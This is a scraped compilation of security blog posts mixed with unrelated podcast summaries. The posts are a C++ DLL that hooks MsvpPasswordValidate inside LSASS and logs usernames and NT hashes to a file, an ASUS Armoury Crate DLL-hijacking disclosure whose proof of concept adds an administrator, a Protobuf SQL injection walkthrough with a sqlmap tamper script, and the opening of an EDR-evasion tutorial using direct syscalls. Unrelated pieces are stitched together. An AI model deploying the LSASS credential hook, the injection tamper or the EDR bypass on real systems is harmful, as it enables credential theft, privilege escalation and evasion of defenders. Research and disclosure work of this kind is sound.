InstallHook.cpp
InstallHook is the function responsible for actually injecting our hook:
#include "pch.h"
#include "hppdll.h"
boolInstallHook(){DEBUG("InstallHook called!");// get a handle on NtlmShared.dllRAII::LibraryntlmShared(L"NtlmShared.dll");if(ntlmShared.GetHandle()==nullptr){DEBUG("Couldn't get a handle to NtlmShared");returnfalse;}// get MsvpPasswordValidate addressMsvpPasswordValidate=(pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(),"MsvpPasswordValidate");if(MsvpPasswordValidate==nullptr){DEBUG("Couldn't resolve the address of MsvpPasswordValidate");returnfalse;}DetourTransactionBegin();DetourUpdateThread(::GetCurrentThread());DetourAttach(&(PVOID&)MsvpPasswordValidate,HookMSVPPValidate);LONGerror=DetourTransactionCommit();if(error!=NO_ERROR){DEBUG("Failed to hook MsvpPasswordValidate");returnfalse;}else{DEBUG("Hook installed successfully");returntrue;}}
It first gets a handle to the NtlmShared DLL at line 9.
At line 17 the address to the beginning of MsvpPasswordValidate is resolved by using GetProcAddress, passing to it the handle to NtlmShared and a string containing the name of the function.
At lines from 24 to 27 Detours does its magic and replaces MsvpPasswordValidate with our rogue HookMSVPPValidate function. If the hook is installed correctly, InstallHook returns true.
You may have noticed I use the DEBUG macro to print debug information. This macro makes use of conditional compilation to write to C:\debug.txt if the DEBUG_BUILD macro is defined in hppdll.h, otherwise it does nothing.
HookMSVPPValidate.cpp
Here comes the most important piece of the DLL, the routine responsible for extracting the credentials from memory.
#include "pch.h"
#include "hppdll.h"
BOOLEANHookMSVPPValidate(BOOLEANUasCompatibilityRequired,NETLOGON_LOGON_INFO_CLASSLogonLevel,PVOIDLogonInformation,void*Passwords,PULONGUserFlags,PUSER_SESSION_KEYUserSessionKey,PVOIDLmSessionKey){DEBUG("Hook called!");// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointerNETLOGON_LOGON_IDENTITY_INFO*logonIdentity=(NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;// write to C:\credentials.txt the domain, username and NT hash of the target userstd::wofstreamcredentialFile;credentialFile.open("C:\\credentials.txt",std::fstream::in|std::fstream::out|std::fstream::app);credentialFile<<L"Domain: "<<logonIdentity->LogonDomainName.Buffer<<std::endl;std::wstringusername;// LogonIdentity->Username.Buffer contains more stuff than the username// so we only get the username by iterating on it only Length/2 times // (Length is expressed in bytes, unicode strings take two bytes per character)for(inti=0;i<logonIdentity->UserName.Length/2;i++){username+=logonIdentity->UserName.Buffer[i];}credentialFile<<L"Username: "<<username<<std::endl;credentialFile<<L"NTHash: ";for(inti=0;i<16;i++){unsignedcharhashByte=((unsignedchar*)Passwords)[i];credentialFile<<std::hex<<hashByte;}credentialFile<<std::endl;credentialFile.close();DEBUG("Hook successfully called!");returnMsvpPasswordValidate(UasCompatibilityRequired,LogonLevel,LogonInformation,Passwords,UserFlags,UserSessionKey,LmSessionKey);}
We want our output file to contain information on the user (like the username and the machine name) and his NT hash. To do so we first cast the third argument, LogonIdentity, to be a pointer to a NETLOGON_LOGON_IDENTITY_INFO structure. From that we extract the logonIdentity->LogonDomainName.Buffer field, which holds the local domain (hece the machine hostname since it’s a local account). This happens at line 8. At line 13 we write the extracted local domain name to the output file, which is C:\credentials.txt. As a side note, LogonDomainName is a UNICODE_STRING structure, defined like so:
From line 19 to 22 we iterate over logonIdentity->Username.Buffer for logonIdentity->Username.Length/2 times. We have to do this, and not copy-paste directly the content of the buffer like we did with the domain, because this buffer contains the username AND other garbage. The Length field tells us where the username finishes and the garbage starts. Since the buffer contains unicode data, every character it holds actually occupies 2 bytes, so we need to iterate half the times over it.
From line 25 to 29 we proceed to copy the first 16 bytes held by the Passwords structure (which contain the actual NT hash as we saw previously) and write them to the output file.
To finish we proceed to call the actual MsvpPasswordValidate and return its return value at line 34 so that the authentication process can continue unimpeded.
RemoveHook.cpp
The last function we will take a look at is the RemoveHook function.
#include "pch.h"
#include "hppdll.h"
boolRemoveHook(){DetourTransactionBegin();DetourUpdateThread(GetCurrentThread());DetourDetach(&(PVOID&)MsvpPasswordValidate,HookMSVPPValidate);autoerror=DetourTransactionCommit();if(error!=NO_ERROR){DEBUG("Failed to unhook MsvpPasswordValidate");returnfalse;}else{DEBUG("Hook removed!");returntrue;}}
This function too relies on Detours magic. As you can see lines 6 to 9 are very similar to the ones called by InstallHook to inject our hook, the only difference is that we make use of the DetourDetach function instead of the DetourAttach one.
Test drive!
Alright, now that everything is ready we can proceed to compile the DLL and inject it into LSASS. For rapid prototyping I used Process Hacker for the injection.
It works! This time I tried to authenticate as the user “last”, whose password is, awkwardly, “last”. You can see that even though the wrong password was input for the user, the true password hash has been written to C:\credentials.
That’s all folks, it was a nice ride. You can find the complete code for HppDLL on my GitHub.
Cybersecurity hiring managers, and the entire cybersecurity industry, can benefit from recruiting across a wide range of backgrounds and cultures, yet many organizations still struggle with meaningfully implementing effective diversity, equity and inclusion (DEI) hiring processes.
Join a panel of past Cyber Work Podcast guests as they discuss these challenges, as well as the benefits of hiring diversely: – Gene Yoo, CEO of Resecurity, and the expert brought in by Sony to triage the 2014 hack – Mari Galloway, co-founder of Women’s Society of Cyberjutsu – Victor “Vic” Malloy, General Manager, CyberTexas
This episode was recorded live on August 19, 2021. Want to join the next Cyber Work Live and get your career questions answered? See upcoming events here: https://www.infosecinstitute.com/events/
The topics covered include: 0:00 - Intro 1:20 - Meet the panel 3:28 - Diversity statistics in cybersecurity 4:30 - Gene on HR's diversity mindset 5:50 - Vic's experience being the "first" 10:00 - Mari's experience as a woman in cybersecurity 12:22 - Stereotypes for women in cybersecurity 15:40 - Misrepresenting the work of cybersecurity 17:30 - HR gatekeeping and bias 25:56- Protecting neurodivergent employees 31:15 - Hiring bias against ethnic names 37:57 - We didn't get any diverse applicants! 43:20 - Lack of developing new talent 46:48 - The skills gap is "nonsense" 49:41- Cracking the C-suite ceiling 53:56 - Visions for the future of cybersecurity 58:15 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Security Yearbook creator Richard Stiennon joins today’s podcast to share his career journey. He talks about creating the first ISP in the Midwest in the ‘90s, the role of the Security Yearbook in telling the history of cybersecurity and the best place to start your cybersecurity career. Hint: It’s not necessarily with the big firms!
0:00 - Infosec Skills Monthly Challenge 0:50 - Intro 2:50 - How Richard got started in cybersecurity 7:22 - Penetration testing in the ‘90s 10:17 - Working as a research analyst 14:39 - How the cyberwar landscape is changing 19:33 - Skills needed as a cybersecurity researcher 20:30 - Launching the Security Yearbook 27:20 - Security Yearbook 2021 29:00 - Importance of cybersecurity history 30:48 - How do cybersecurity investors see the industry 34:08 - Impact of COVID-19 and work from home 35:50 - Using the Security Yearbook to guide your career 40:38 - How cybersecurity careers are changing 43:29 - Current pentesting trends 47:06 - First steps to becoming a research analyst 48:20 - Plans for Security Yearbook 2022 50:20 - Learn more about Richard Stiennon 51:09 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
ASUS ROG Armoury Crate ships with a service called Armoury Crate Lite Service which suffers from a phantom DLL hijacking vulnerability that allows a low privilege user to execute code in the context other users, administrators included. To trigger the vulnerability, an administrator must log in after the attacker has placed the malicious DLL at the path C:\ProgramData\ASUS\GamingCenterLib\.DLL. The issue has been fixed with the release of Armoury Crate Lite Service 4.2.10. The vulnerability has been assigned ID CVE-2021-40981.
Introduction
Greetings fellow hackers, last here! Recently I’ve been looking for vulnerabilities here and there - too much free time maybe? Specifically, I focused on hunting for DLL hijackings in privileged processes, as they usually lead to a local privilege escalation. A DLL hijacking revolves around forcing a process to run an attacker controlled DLL instead of the legitimate DLL the process is trying to load, nothing more. To make a process load your DLL you have to control the path from which said DLL is loaded. There are essentially two kinds of DLL hijackings: standard DLL hijackings and phantom DLL hijackings. The main difference is that in standard ones the legitimate DLL exists and is overwritten or proxied by the attacker’s DLL, while in phantom DLL hijackings the process tries to load a non existing DLL, hence the attacker can just drop its malicious DLL in the path and call it a day.
By messing up with Process Monitor I ended up finding a phantom DLL hijacking in ASUS ROG Armoury Crate, a software commonly installed in gaming PCs with a TUF/ROG motherboard to manage LEDs and fans.
Last year I assembled a PC with an ASUS TUF motherboard, so I have this software installed. This kind of software is usually poorly designed from a security perspective - not shaming ASUS here, it’s just a matter of fact as gaming software is usually not designed with security in mind, it has to be flashy and eye-catching - so I ended up focusing my effort on this particular piece of software.
At login time, Armoury Crate’s own service, called Armoury Crate Lite Service, spawns a number of processes, the ones that caught my eyes though were ArmouryCrate.Service.exe and its child ArmouryCrate.UserSessionHelper.exe. As you can see in the next screenshot, the first runs as SYSTEM as it’s the process of the service itself, while the second runs at High integrity (i.e. elevated) if the current user is an administrator, or Medium integrity if the user is a low privilege one. Keep this in mind, we will come back to it later.
It’s hunting season
Now that we have laid down our targets, let’s look at how we are going to approach the research. The methodology we will use is the following:
Look for CreateFile operations failing with a “NO SUCH FILE” or “PATH NOT FOUND” code;
Inspect the operation to make sure it happens as a result of a call to a LoadLibrary-like function. CreateFile-like calls in Windows are not used only to create new files, but also to open existing ones;
Make sure we can write to - or create the - path from which the DLL is loaded;
Profit!
Hunting for this type of vulnerabilities is actually fairly easy and requires little effort. As I have explained in this Twitter thread, you just have to fire up Process Monitor with admin privileges, set some filters and then investigate the results. Let’s start from the filters: since we are focusing on phantom DLL hijackings, we want to see all the privileged processes failing to load a DLL with an error like “PATH NOT FOUND” or “NO SUCH FILE”. To do so go to the menu bar, Filter->Filter... and add the following filters:
Operation - is - CreateFile - Include
Result - contains - not found - Include
Result - contains - no such - Include
Path - ends with - .dll - Include
Integrity - is - System - Include
Integrity - is - High - Include
Once you have done that, go back to the menu bar, then Filter->Save Filter... so that we can load it later. As a lot SYSTEM and High integrity processes run as a result of a service running we now want to log the boot process of the computer and analyze it with Process Monitor. In order to do so head to the menu bar, then Options->Enable Boot Logging, leave everything as default and restart the computer. After logging back in, open Process Monitor once again, save the Bootlog.pml file and wait for Process Monitor to parse it. Once it’s finished doing its things, load the filter we prepared previously by clicking on Filter->Load Filter. Now we should see only potential phantom hijackings.
In Armoury Crate’s case, you can see it tries to load C:\ProgramData\ASUS\GamingCenterLib\.DLL which is an interesting path because ACLs are not set automatically in subfolders of C:\ProgramData\, a thing that happens instead for subfolders of C:\Program Files\. This means there’s a high probability C:\ProgramData\ subfolders will be writable by unprivileged users.
To make sure the CreateFile operation we are looking at happens as a result of a LoadLibrary-like function we can open the event and navigate to the Stack tab to check the sequence of function calls which lead to the CreateFile operation. As you can see from the following screenshot, this is exactly the case as we have a call to LoadLibraryExW:
To inspect the ACL of the folder from which Armoury Crate tries to load the DLL we can use Powershell’s Get-Acl cmdlet this way:
This command will return a SDDL string (which is essentially a one-to-one string representation of the graphical ACL we are used to see in Windows), which when parsed with ConvertFrom-SddlString tells us BUILTIN\Users have write access to the directory:
A more user friendly way of showing the effective access a user has on a particular resource is to open its properties, navigate to the Security tab, click on Advanced, switch to the Effective Access tab, select a user and then click on View effective access. The result of this operation is the effective access a user has to said resource, considering also the permissions it inherits from the groups he is part of.
Alright, now that we know we can write to C:\ProgramData\ASUS\GamingCenterLib we just have to compile a DLL named .DLL and drop it there. We will go with a simple DLL which will add a new user to the local administrators:
Now that we have everything ready we just have to wait for a privileged user to log in. This is needed as the DLL is loaded by ArmouryCrate.UserSessionHelper.exe which runs with the highest privileges available to the user to which the session belongs. As soon as the privileged user logs in, we have a new admin user, confirming administrator-level code execution.
Root cause analysis
Let’s now have a look at what caused this vulnerability. As you can see from the call stack shown in the screenshot in the beginning of this article, the DLL is loaded from code located inside GameBoxPlugin.dll, at offset QueryLibrary + 0x167d which is actually another function I renamed DllLoadLibraryImplement (by reversing GameBoxPlugin.dll with IDA Pro you can see most functions in this DLL have some sort of logging feature which references strings containing the possible name of the function). Here’s the code responsible for the call to LoadLibraryExW:
We have two culprits here:
A DLL is loaded without any check. ASUS fixed this by implementing a cryptographic check on the DLLs loaded by this process to make sure they are signed by ASUS themselves;
The ACL of C:\ProgramData\ASUS\GamingCenterLib\ are not properly set. ASUS has NOT fixed this, which means that, in the case a bypass is found for reason 1, the software would be vulnerable again as ArmouryCrate.UserSessionHelper.exe now looks for DLLs in that folder with a 6-character-long name (by searching them with the wildcard ??????.DLL as you can see with Procmon). If you use Armoury Crate I suggest hand-fixing the ACL of C:\ProgramData\ASUS\GamingCenterLib\ in order to give access to the whole directory tree only to members of the Administrators group.
Responsible disclosure timeline (YYYY/MM/DD)
2021/09/06: vulnerability reported to ASUS via their web portal;
2021/09/10: ASUS acknowledges the report and forwards it to their dev branch;
2021/09/13: ASUS devs confirm the vulnerability and say it will be fixed in the next release, expected for week 39 of this year (27/09 - 01/10);
2021/09/24: ASUS confirms the vulnerability has been fixed in version 4.2.10 of the service;
2021/09/27: MITRE assigns CVE-2021-40981 to this vulnerability;
Kudos to ASUS for the quick response and professionalism in dealing with the problem! That’s all for today lads, until next time!
This week we chat with Connor Greig of CreatorSphere (creatorsphere.co) about beginning a career in IT at age 17 when he joined Hewlett Packard as an applications engineer, but after just a few weeks was promoted to project manager. He went on to work on secure projects for the British government and was a project manager for secure cloud computing and software development modernization during the WannaCry, Spectre and Meltdown vulnerabilities that were found.
0:00 - Intro 3:00 - Origin story 4:58 - Getting into IT 8:53 - Being scouted by HP at 17 11:34 - What did HP see in you? 15:42 - Working with the British government 17:49 - Being fast on your feet 19:51 - Area of specialty 21:30 - Balancing work and management 25:25 - Saving McDonald's from a data breach 31:58 - McDonald's reaction 38:56 - Starting your own company 45:25 - Advice for starting your own company 49:15 - How to learn new concepts and skills 53:15 - What's it like being a gay man in cybersecurity? 55:30 - Making cybersecurity more welcoming 58:15 - Cybersecurity career advice 1:00:33 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Today's guest is Alex Amiryan, a software developer with over 18 years of experience specializing in cybersecurity and cryptography. Alex is the creator of the popular SafeCamera app, which was the predecessor of Stingle Photos, an end-to-end encrypted, open-source gallery and sync app able to prevent theft by breach. How does it work, and how did Alex come by his obsession for cryptography? Tune in and find out!
0:00 - Intro 1:41 - Origin story in cybersecurity 3:38 - Running afoul of the law 4:44 - Beginning your own company 7:10 - Advice on starting a business 9:15 - What is Stingle Photos? 12:30 - End-to-end encryption 15:20 - Black box storage 17:47 - Encryption safety 19:01 - Preventing photo theft 22:20 - Working in encryption and cryptography 24:24 - Skills needed for encryption and cryptography 26:43 - An "aha" moment 28:00 - Cryptographer job market 29:45 - Next steps in cryptography 35:52 - Learn more about Stingle Photos 36:28 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
On today’s podcast, Jasmine Jackson takes us through how you can get noticed on your resume, how Linux basics can set you up for learning other aspects of cybersecurity, and how capture the flag activities are crucial to enriching your work skills. Jackson has over 10 years of information security experience and shares her passion for cybersecurity by presenting and teaching workshops, including new courses now available in Infosec Skills. She is currently the Jeopardy-style capture the flag (CTF) coach for the inaugural U.S. Cyber Games and works as a senior application security engineer for a Fortune 500 company.
0:00 - Intro 3:08 - Jasmine Jackson’s origin story 4:25 - Winning a computer 6:22 - Jackson’s career path 13:46 - Thoughts on certifications 19:10 - Ideal job description 21:01 - Most important cybersecurity skills 22:54 - Linux fundamentals class 25:07 - What does knowing Linux do for you? 26:35 - How to build upon a Linux foundation 28:51 - Benefits to skills training 29:50 - Tips for lifelong learning 31:30 - Coaching in the U.S. Cyber Games 34:26 - How are team members chosen for the games? 37:47 - An intriguing CTF puzzle 41:43 - Where is cybersecurity education heading? 43:36 - Learn more about Jackson 46:33 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.
The survey
Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.
In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.
I had to make some choices as to what would be grouped together. I decided EDR and AV solutions could be considered as a similar recommendations, while I decided that “Updates” and “Vulnerability management” were going to remain separate. A number of answers were grouped into “Network isolation” which also explains some of the results I’ll give below. After categorizing each one of the recommendations, I then attributed a weight from 1 to 10 to each of them depending on the priority given by the person.
Results
Without any further ado, here are the most frequently recommended actions (with their cumulated weight) out of the 33 colleagues who responded to my survey:
Network isolation (173)
Security patching (107)
Configurations hardening (100)
Limit external exposure (97)
SIEM/SOC (95)
Awareness training (95)
Audit (89)
Multi-factor authentication (87)
Privileged access management (82)
Backups (49)
EDR/AV (45)
LAPS (41)
Robust password policy (40)
DMZ (37)
WAF (37) […]
Contact SCRT (22 points)
If we ignore the weights and just count the number of times each recommendation is given, we obtain the following results.
Network isolation (25)
SIEM/SOC (22)
Audit (22)
Security patching (20)
Configurations hardening (20)
Awareness training (15)
Privileged access management (14)
Multi-factor authentication (14)
Limit external exposure (11)
EDR/AV (9)
Robust password policy (8)
LAPS (7)
Backups (7)
Bitlocker (6)
Physical access (5) […]
Contact SCRT (4)
Discussion
The differences are interesting to look at as they mean for example that most people recommended implementing a SIEM/SOC and performing an audit, but these were not considered as priorities.
I think it is important here to stress that when we mention “network isolation”, it goes beyond simple network segmentation. We are not talking about ensuring you have different VLANs for different types of systems, but actively enforcing appropriate firewalls between VLANs and within the same VLAN. It is this active firewalling which can prevent the exploitation of vulnerabilities in the first place and reduce the possibilities of lateral movement. While micro-segmentation and Zero Trust are valuable objectives, in the mean time, properly configuring the current firewalls has to be a priority.
When analysing the responses on a department level, it was interesting to see that our support team tends to recommend contacting SCRT and our analytics team recommends implementing a SIEM/SOC. Our pentesting team does not necessarily recommend performing an audit as a top priority, probably because we already anticipate what the findings are likely to be, which kind of skews the results. For our sales team though, performing an audit received the highest priority.
Wrapping things up
Based on the answers, I drew up a mindmap of actions that could be taken to improve the security of an information system. It contains more details than what is summarised in this blog post and the actions have been grouped by the following objectives:
Prevent the initial intrusion
Detect the intrusion
Limit its propagation
Protect/preserve sensitive data
Manage risk
There is already quite a bit of information in here, though there is even more which is still missing, but it does give an overview of the higher priority aspects, which can be worked on to generally improve the security posture of a company.
On today’s podcast Infosec Skills author Chrys Thorsen talks about founding IT Without Borders, a humanitarian organization built to empower underserved communities through capacity building information and communications technology (ICT) skills and information access. She’s also a consultant and educator. And, for our purpose, she is the author of several learning paths on our Infosec Skills platform. She has written course paths for Writing Secure Code in Android and Writing Secure Code in iOS, as well as a forthcoming CertNexus Cyber Secure Coder path.
0:00 - Intro 2:43 - Thorsen’s origin story in cybersecurity 4:53 - Gaining about 40 certifications 6:20 - Cross certification knowledge 7:25 - Great certification combos 8:45 - How useful are certifications? 11:12 - Collecting certifications 13:01 - Changing training landscape 14:20 - How teaching changed 16:36 - In-demand cybersecurity skills 17:48 - What is secure coding? 19:34 - Secure coders versus coders 20:31 - Secure coding in iOS versus Android 22:39 - CertNexus secure coder certification 24:13 - Secure coding before coding 24:42 - Secure coding curriculum 26:27 - Recommended studies post secure coding 26:50 - Benefits to skills-based education 27:43 - Tips for lifelong learning 29:29 - Cybersecurity education’s future 30:54 - IT Without Borders 33:38 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
On today’s podcast, Infosec Skills author Ted Harrington talks about authoring a recent Infosec Skills learning path, “How To Do Application Security Right,” which is also the subtitle of his recent book, “Hackable: How To Do Application Security Right.” Harrington shares his application security expertise, or AppSec, the benefits of skills-based learning, and what it was like to hack the iPhone.
0:00 - Intro 3:00 - Hacking the iPhone 8:30 - IOT security 14:00 - “Hackable” book 17:14 - Using the book as a roadmap 18:42 - Most important skills right now 21:45 - Taking Harrington’s class 24:40 - Demystifying application security 26:48 - Career opportunities 28:26 - Roadblocks in application security 30:55 - Education tips for application security 33:40 - Benefits of skills-based education 37:21 - The skills gap and hiring process 41:19 - Tips for lifelong learners 43:43 - Harrington’s next projects 44:33 - Cybersecurity’s education’s future 45:38 - Connect with Harrington 46:50 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Many developers believe that serializing traffic makes a web application more secure, as well as faster. That would be easy, right? The truth is that security implications remain if the backend code does not adopt adequate defensive measures, regardless of how data is exchanged between the client and server. In this article we will show you how the serialization can’t stop an attacker if the web application is vulnerable at the root. During our activity the application was vulnerable to SQL injection, we will show how to exploit it in case the communications are serialized with Protocol Buffer and how to write a SQLMap tamper for it.
Introduction
Hello friends… Hello friends… Here is 0blio and MrSaighnal, we didn’t want to leave all the space to our brother last, so we decided to do some hacking. During an activity on a web application we tripped over a weird target behavior, in fact during HTTP interception the data appeared encoded in base64, but after decoding the response, we noticed the data was in a binary format. Thanks to some information leakage (and also by taking a look at the application/grpc header) we understood the application used a Protocol buffer (Protobuf) implementation. Looking over the internet we found poor information regarding Protobuf and its exploitation methodology so we decided to document our analysis process here. The penetration testing activity was under NDA so in order to demonstrate the functionality of Protobuf we developed an exploitable web application (APTortellini copyrighted 😊).
Protobuf primer
Protobuf is a data serialization format released by Google in 2008. Differently from other formats like JSON and XML, Protobuf is not human friendly, due to the fact that data is serialized in a binary format and sometimes encoded in base64. Protobuf is a format developed to improve communication speed when used in conjunction with gRPC (more on that in a moment). This is a data exchange format originally developed for internal use as an open source project (partially under the Apache 2.0 license). Protobuf can be used by application written in various programming languages, such as C#, C++, Go, Objective-C, Javascript, Java etc… Protobuf is used, among other things, in combination with HTTP and RPC (Remote Procedure Calls) for local and remote client-server communication, in particular for the description of the interfaces needed for this purpose. The protocol suite is also defined by the acronym gRPC.
For more information regarding Protobuf our best advice is to read the official documentation.
Step 1 - Playing with Protobuf: Decoding
Okay, so… our application comes with a simple search form that allows searching for products within the database.
Searching for “tortellini”, we obviously get that the amount is 1337 (badoom tsss):
Inspecting the traffic with Burp we notice how search queries are sent towards the /search endpoint of the application:
And that the response looks like this:
At first glance, it might seem that the messages are simply base64 encoded. Trying to decode them though we noticed that the traffic is in binary format:
Inspecting it with xxd we can get a bit more information.
To make it easier for us to decode base64 and deserialize Protobuf, we wrote this simple script:
The script takes an encoded string as input, strips away the first 5 padding characters (which Protobuf always prepends), decodes it from base64 and finally uses protoc (Protobuf’s own compiler/decompiler) to deserialize the message.
Running the script with our input data and the returned output data we get the following output:
As we can see, the request message contains two fields:
Field 1: String to be searched within the database.
Field 2: An integer always equivalent to 0
Instead, the response structure includes a series of messages containing the objects found and their respective amount.
Once we understood the structure of the messages and their content, the challenge is to write a definition file (.proto) that allows us to get the same kind of output.
Step 2 - Suffering with Protobuf: Encoding
After spending some time reading the python documentation and after some trial and error we have rewritten a message definition similar to those that our target application should use.
the .proto file can be compiled with the following command:
protoc -I=. --python_out=. ./search.proto
As a result we got a library to be imported in our code to serialize/deserialize our messages which we can see in the import of the script (import search pb2).
#!/usr/bin/python3
importstructfrombase64importb64encode,b64decodeimportsearch_pb2fromsubprocessimportrun,PIPEdefencode(array):"""
Function to serialize an array of tuples
"""products=search_pb2.Product()fortupinarray:p=products.product.add()p.name=str(tup[0])p.quantity=int(tup[1])serializedString=products.SerializeToString()serializedString=b64encode(b'\x00'+struct.pack(">I",len(serializedString))+serializedString).decode("utf-8")returnserializedStringtest=encode([('tortellini',0)])print(test)
The output of the string “tortellini” is the same of our browser request, demonstrating the encoding process worked properly.
Step 3 - Discovering the injection
To discover the SQL injection vulnerability we opted for manual inspection. We decided to send the single quote ‘ in order to induce a server error. Analyzing the web application endpoint:
http://brodostore/search/PAYLOAD
we could guess that the SQL query is something similar to:
and then producing a 500 server error.
To manually check this we had to serialize our payload with the Protobuf compiler and before sending it encode it in base64. We used the script from step 2 by modifying the following lines:
test = encode([("'", 0)])
after we run the script we can see the following output:
By sending the generated serialized string as payload to the vulnerable endpoint:
the application returns HTTP 500 error indicating the query has been broken,
Since we want to automate the dump process sqlmap was a good candidate for this task because of its tamper scripting features.
Step 4 - Coding the tamper
Right after we understood the behaviour of Protobuf encoding process, coding a sqlmap tamper was a piece of cake.
#!/usr/bin/env python
fromlib.core.dataimportkbfromlib.core.enumsimportPRIORITYimportbase64importstructimportsearch_pb2__priority__=PRIORITY.HIGHESTdefdependencies():passdeftamper(payload,**kwargs):retVal=payloadifpayload:# Instantiating objects
products=search_pb2.Product()p=products.product.add()p.name=payloadp.quantity=1# Serializing the string
serializedString=products.SerializeToString()serializedString=b'\x00'+struct.pack(">I",len(serializedString))+serializedString# Encoding the serialized string in base64
b64serialized=base64.b64encode(serializedString).decode("utf-8")retVal=b64serializedreturnretVal
To make it work we moved the tamper in the sqlmap tamper directory /usr/share/sqlmap/tamper/ along with the Protobuf compiled library.
Here the logic behind the tamper workings:
Step 5 - Exploiting Protobuf - Control is an illusion
We intercepted the HTTP request and we added the star to indicate to sqlmap where to inject the code.
GET /search/* HTTP/1.1
Host: brodostore
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
After we saved the request in the test.txt file, we then run sqlmap with the following command:
Unfortunately sqlmap is not able to understand the Protobuf encoded responses. Because of that we decided to take the path of the Boolean Blind SQL injection. In other words we had to “bruteforce” the value of every character of every string we wanted to dump using the different response the application returns when the SQLi succeeds. This approach is really slow compared to other SQL injection technique, but for this test case it was enough to show the approach to exploit web applications which implement Protobuf. In the future, between one plate of tortellini and another we could decide to implement mechanism that decode the responses via the *.proto struct and then expand it to other attack paths… but for now we are satisfied with that! Until next time folks!
On today’s podcast, Secureworks president and CEO Wendy Thomas talks about the company’s drive to provide innovative, best-in-class security solutions that sit at the heart of customers’ security operations. Thomas shares over 25 years of experience in strategic and functional leadership roles, including work as a chief financial officer, chief product officer and VP of strategy. Thomas has worked across multiple technology-driven companies and has a wealth of knowledge.
0:00 - Intro 3:18 - Wendy’s origin in cybersecurity 5:13 - Climbing the career ladder 8:10 - Average day as CEO 10:38 - Collaboration in cybersecurity 13:07 - Roadblocks in collaboration 15:03 - Strategies to encourage collaboration 17:53 - Is there collaboration now? 19:30 - Solving technology security gaps 21:35 - Limiting incident response noise 23:10 - Addressing the skills shortage 25:07 - Women in cybersecurity 30:45 - Developing your team 32:53 - Advice for those entering cybersecurity 34:18 - Outro
About Infosec Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
First of all, let me introduce myself, my name is Omri Baso, I’m 24 years old from Israel and I’m a red teamer and a security researcher, today I will walk you guys through the process of my learning experience about EDRs, and Low-level programming which I have been doing in the last 3 months.
1. Windows API Hooking
One of the major things EDRs are using in order to detect and flag malicious processes on windows, are ntdll.dll API hooking, what does it mean? it means that the injected DLL of the EDR will inject opcodes that will make the program flow of execution be redirected into his own functions, for example when reading a file on windows you will probably use NtReadFile, when your CPU will read the memory of NTDLL.dll and get the NtReadFile function, your CPU will have a little surprise which will tell it to “jump” to another function right as it enters the ntdll original function, then the EDR will analyze what your process is trying to read by inspecting the parameters sent to the NtReadFile function, if valid, the execution flow will go back to the original NtReadFile function.
1.1 Windows API Hooking bypass
First of all, I am sure that there are people smarter than me who invented other techniques, but now I will teach you the one that worked for me.
Direct System Calls:
Direct system calls are basically a way to directly call the windows user-mode APIs using assembly or by accessing a manually loaded ntdll.dll (Manual DLL mapping), In this article, I will NOT be teaching how to manually map a DLL.
The method we are going to use is assembly compiled inside our binary which will act as the windows API.
The windows syscalls are pretty simple, here is a small example of NtCreateFile:
First line: the first line moves into the rax register the syscall number
Second line: moves the rcx register into the r10, since the syscall instruction destroys the rcx register, we use the r10 to save the variables being sent into the syscall function.
Third line: pretty self explanatory, calls the syscall number which is saved at the rax register.
Foruth line: ret, return the execution flow back to the place the syscalls function was called from.
